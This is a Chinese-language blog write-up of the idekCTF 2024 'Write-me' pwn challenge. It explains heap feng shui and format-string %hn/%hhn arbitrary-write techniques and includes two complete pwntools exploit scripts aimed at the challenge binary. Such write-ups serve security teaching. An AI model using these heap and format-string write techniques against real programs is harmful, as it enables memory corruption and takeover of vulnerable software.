2024 idekCTF Write-me wp

《风水大师》,其实并不是:)评价为益智游戏,没什么用但做不出来难受

题目

  • 功能
    • 可以几乎任意malloc和free chunk
    • 格式化字符串,参数在堆上
  • 需求
    • 往对应地址写对应值

坎坷的错误思路

你懂风水了两天的含金量

  • 用tcache风水,想法为%hhn写偏移,%hn写地址,%n写值

  • 发现$的更改不能立即生效,这意味着在地址写完之前都只能使用%c占位,但cnt可能会跳过需要写的值,如果使用%n不会递增cnt但需要合法地址

  • 使用unsorted bin和large bin风水,造合法地址来%n占位

  • 发现还是不能铺满合法地址

  • 发现%hhn只会写cnt的最低字节,%hn同理,可以进行一个溢出,这样就不用铺合法地址了

  • 由于堆风水时未知address和value,所以进行一个爆破,对于address的每个dword遍历每个可能位置

    • %hhn写偏移

    • %hn写地址

感觉要出了对吧!!!数字大到一定程度vfprintf就-1了:)

exp

虽然是错误思路且耗时巨长但好歹是搓了两天的exp还是贴一下,纪念一下:)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
from pwn import *
#context.log_level='debug'
context.os='linux'
context.arch='amd64'


def add(idx,sz):
#print('add '+hex(idx)+' '+hex(sz))
p.sendlineafter(b'Choice? ',b'1')
p.sendlineafter(b'Index? ',str(idx).encode())
p.sendlineafter(b'Size? ',str(sz).encode())

def delete(idx):
#print('delete '+hex(idx))
p.sendlineafter(b'Choice? ',b'2')
p.sendlineafter(b'Index? ',str(idx).encode())


p=process('./write_me')
#p=remote('127.0.0.1',9999)


add(0,0x7000)
add(1,0x500)
for sz in range(0x7000-0x20,0x500-0x10,-0x10):
delete(0)
add(0,sz)
add(2,0xffff)
delete(2)
delete(1)
delete(0)

add(0,0x6a00)
add(0x402,0x500)
# 0x10
# 0x500
# 0x6000
#
# 0x100
# *3
# *0x30

def get_size(siz):
edges=[sz for sz in range(0x530,0xc31,0x40)]
edges+=[sz for sz in range(0xdf0,0x29f1,0x200)]
edges+=[sz for sz in range(0x2ff0,0x9ff1,0x1000)]
if siz+0x10 in edges:
return siz-0x10
else:
return siz+0x10

for i1 in range(2):
for i2 in range(0x30):
for i3 in range(0x10):
delete(0)
size=0x6500-(i1*0x3000+i2*0x100+i3*0x10)
add(1,size)
add(2,0x6a00-size-0x10)

delete(0x402)
add(0x101,0x500+i2*0x300+(2-i1)*0x100+i3*0x10+0x30)
add(0x102,get_size(0x6a00-size-0x10))
add(0x400,0x500)

delete(2)
delete(0x102)

add(0x401,0xffff)

delete(1)
add(0,0x6a00)

delete(0x401)
delete(0x400)
delete(0x101)
add(0x402,0x500)

delete(0x402)

print('[*] Finish fengshui level 1')
add(3,0x9a00)
add(0x402,0x500)

for i1 in range(0x30):
for i2 in range(3):
for i3 in range(0x10):
delete(3)
size=0x9500-(i1*0x300+i2*0x100+i3*0x10)
add(1,size)
add(2,0x9a00-size-0x10)

delete(0x402)
add(0x101,0x50+0x500*i3-0x10+0x500)
add(0x102,get_size(0x9a00-size-0x10))
add(0x400,0x500)

delete(2)
delete(0x102)

add(0x401,0xffff)

delete(1)
add(3,0x9a00)

delete(0x401)
delete(0x400)
delete(0x101)
add(0x402,0x500)

delete(0x402)
print('[*] Finish fengshui level 2')
gdb.attach(p)

delete(0)
add(1,0x500)
add(0x402,0xffff)
add(2,0x6500-0x10)
delete(1)
add(1,0x4e0)

# delete(3)
# delete(2)

# delete(0x402)


class Address:
def __init__(self,addr,idx):
self.addr=[addr&0xffff,(addr>>16)&0xffff,(addr>>32)&0xffff,(addr>>48)&0xffff]
self.idx=idx
def divide(self):
dwords=[]
for i in range(3):
dwords.append(Dword(self.addr[i],i,self.idx))
return dwords

class Challenge:
def __init__(self,addr,val,idx):
self.addr=Address(addr,idx)
self.val=val
self.idx=idx

class Dword:
def __init__(self,val,offset,idx):
self.val=val
self.idx=idx
self.offset=offset


p.sendlineafter(b'Choice? ',b'3')
challenges=[]
addr_dwords_group=[]
for i in range(0x10):
p.recvuntil(b': Write 0x')
val=int(p.recvuntil(b' ')[:-1],16)
p.recvuntil(b'to address 0x')
addr=int(p.recvuntil(b'\n')[:-1],16)
challenge=Challenge(addr,val,i)
challenges.append(challenge)
addr_dwords_group+=challenge.addr.divide()

addr_dwords_group=sorted(addr_dwords_group,key=lambda item: item.val)

print('[*] Dwords of addresses: ')
for item in addr_dwords_group:
print('idx:'+hex(item.idx)+' offset:'+hex(item.offset)+' val:'+hex(item.val))
print()


payload='%c'*5+'%'+str(0x102-5)+'c'+'%hhn'*2
payload+='%hhn'*0x600
payload+='%2c'
payload+='%hhn'*(0x600-1)
payload+='%hhn'*0x9a
payload+='%c'*6
payload+='%hhn'*0x40
payload+='%c'*(0x5d+4)
cnt=0x16b

dictionary=[]
for dword in addr_dwords_group:
for offset in range(3):
for idx in range(0x10):
dst_dword_id=idx*0x10+offset
src_dword_id=dword.idx*0x10+dword.offset
if dst_dword_id==src_dword_id:
if dword.val>(cnt&0xffff):
payload+='%'+str(dword.val-(cnt&0xffff))+'c%hn'
cnt=dword.val+(cnt&0xffffffffffff0000)
else:
payload+='%'+str(dword.val-(cnt&0xffff)+0x10000)+'c%hn'
cnt=dword.val+0x10000+(cnt&0xffffffffffff0000)
dictionary.append(src_dword_id)
print('Write: '+'idx:'+hex(dword.idx)+' offset:'+hex(dword.offset)+' val:'+hex(dword.val)+'(cnt='+hex(cnt)+')')
else:
no_offset_id=0x10*((idx-1)%0x10)
if no_offset_id in dictionary:
payload+='%c'
cnt+=1
else:
payload+='%hhn'
if dst_dword_id in dictionary:
payload+='%c'
cnt+=1
else:
payload+='%hhn'

challenges=sorted(challenges,key=lambda item: item.val)
addr_base=0x29ef
addr_chunk=0xa0

for item in challenges:
if (cnt&0xffffffff)>item.val:
payload+='%'+str(item.val-(cnt&0xffffffff)+0x100000000)+'c'
cnt=item.val+0x100000000+(cnt&0xffffffff00000000)
elif (cnt&0xffffffff)<item.val:
payload+='%'+str(item.val-(cnt&0xffffffff))+'c'
cnt=item.val+(cnt&0xffffffff00000000)
payload+='%'+str(addr_base-addr_chunk*item.idx)+'$n'
print('Write: '+'idx:'+hex(item.idx)+' val:'+hex(item.val)+'(cnt='+hex(cnt)+')')

payload+='Eurus'
print('[*] len(payload) = '+hex(len(payload)))

p.sendlineafter(b'Format string? ',payload.encode())
p.recvuntil(b'Eurus')

p.interactive()

正确思路

  • 既然可以用溢出解决cnt跳过的问题就不需要用unsorted bin和large bin风水了,直接用tcache就行

  • 用tcache造一条chain

    • %hhn盖low byte写偏移
    • %hhn写地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
from pwn import *
#context.log_level='debug'
context.os='linux'
context.arch='amd64'


def add(idx,sz):
p.sendlineafter(b'Choice? ',b'1')
p.sendlineafter(b'Index? ',str(idx).encode())
p.sendlineafter(b'Size? ',str(sz).encode())

def delete(idx):
p.sendlineafter(b'Choice? ',b'2')
p.sendlineafter(b'Index? ',str(idx).encode())


#p=process('./write_me')
p=remote('127.0.0.1',9999)


add(0x400,0xd60-0x10)
def prepare_heap_address(lens):
add(0,0x10)
for idx in range(lens):
add(idx+1,0x10)
delete(idx+1)
delete(idx)
add(idx,0x10)
add(idx+1,0x10)

prepare_heap_address(0x100)
delete(0)


class Address:
def __init__(self,addr,idx):
self.addr=[addr&0xffff,(addr>>16)&0xffff,(addr>>32)&0xffff]
self.idx=idx
def divide(self):
return [Dword(self.addr[0],0,self.idx),Dword(self.addr[1],2,self.idx),Dword(self.addr[2],4,self.idx)]

class Value:
def __init__(self,val,idx):
self.val=[val&0xffff,(val>>16)&0xffff]
self.idx=idx
def divide(self):
return [Dword(self.val[0],0,self.idx),Dword(self.val[1],2,self.idx)]

class Challenge:
def __init__(self,addr,val,idx):
self.addr=[Address(addr,idx),Address(addr+2,idx)]
self.val=Value(val,idx)
self.idx=idx

class Dword:
def __init__(self,val,offset,idx):
self.val=val
self.idx=idx
self.offset=offset


p.sendlineafter(b'Choice? ',b'3')
challenges=[]
val_dwords_group=[]
for i in range(0x10):
p.recvuntil(b': Write 0x')
val=int(p.recvuntil(b' ')[:-1],16)
p.recvuntil(b'to address 0x')
addr=int(p.recvuntil(b'\n')[:-1],16)
challenge=Challenge(addr,val,i)
challenges.append(challenge)
val_dwords_group+=challenge.val.divide()

payload=''
payload+='%c'*3
cnt=3

def write_by(val):
global cnt
pl=''
if (cnt&0xff)>=val:
pl+='%'+str(val+0x100-(cnt&0xff))+'c'
cnt=val+0x100+(cnt&0xffffffffffffff00)
else:
pl+='%'+str(val-(cnt&0xff))+'c'
cnt=val+(cnt&0xffffffffffffff00)
pl+='%hhn'
return pl

def write_dword(val):
global cnt
pl=''
if (cnt&0xffff)>=val:
pl+='%'+str(val+0x10000-(cnt&0xffff))+'c'
cnt=val+0x10000+(cnt&0xffffffffffff0000)
else:
pl+='%'+str(val-(cnt&0xffff))+'c'
cnt=val+(cnt&0xffffffffffff0000)
pl+='%hn'
return pl

def write_dword_with_off(val,off):
global cnt
pl=''
if (cnt&0xffff)>=val:
pl+='%'+str(val+0x10000-(cnt&0xffff))+'c'
cnt=val+0x10000+(cnt&0xffffffffffff0000)
else:
pl+='%'+str(val-(cnt&0xffff))+'c'
cnt=val+(cnt&0xffffffffffff0000)
pl+='%'+str(off)+'$hn'
return pl

def write_addr(addr):
global cnt
pl=''
addr_dwords=sorted(addr.divide(),key=lambda item: item.val)
for item in addr_dwords:
pl+=write_by(item.offset)
pl+='%c'*2
cnt+=2
pl+=write_dword(item.val)
pl+='%c'*2
cnt+=2
return pl

for chal in challenges:
payload+=write_addr(chal.addr[0])
payload+='%c'*8
cnt+=8
payload+=write_addr(chal.addr[1])
payload+='%c'*8
cnt+=8

log.info('Write addresses finished')

addr_base_off=1
addr_chunk=0x20
val_dwords_group=val_dwords_group
for dword in val_dwords_group:
payload+=write_dword_with_off(dword.val,addr_base_off+addr_chunk*(dword.idx*2+dword.offset//2))

log.info('Write values finished')

payload+='Eurus'
log.info('len(payload) = '+hex(len(payload)))

#gdb.attach(p)
p.sendlineafter(b'Format string? ',payload.encode())
p.recvuntil(b'Eurus')

p.interactive()

2024 idekCTF Write-me wp
http://akaieurus.github.io/2024/08/20/idekctf2024-writeme/
作者
Eurus
发布于
2024年8月20日
许可协议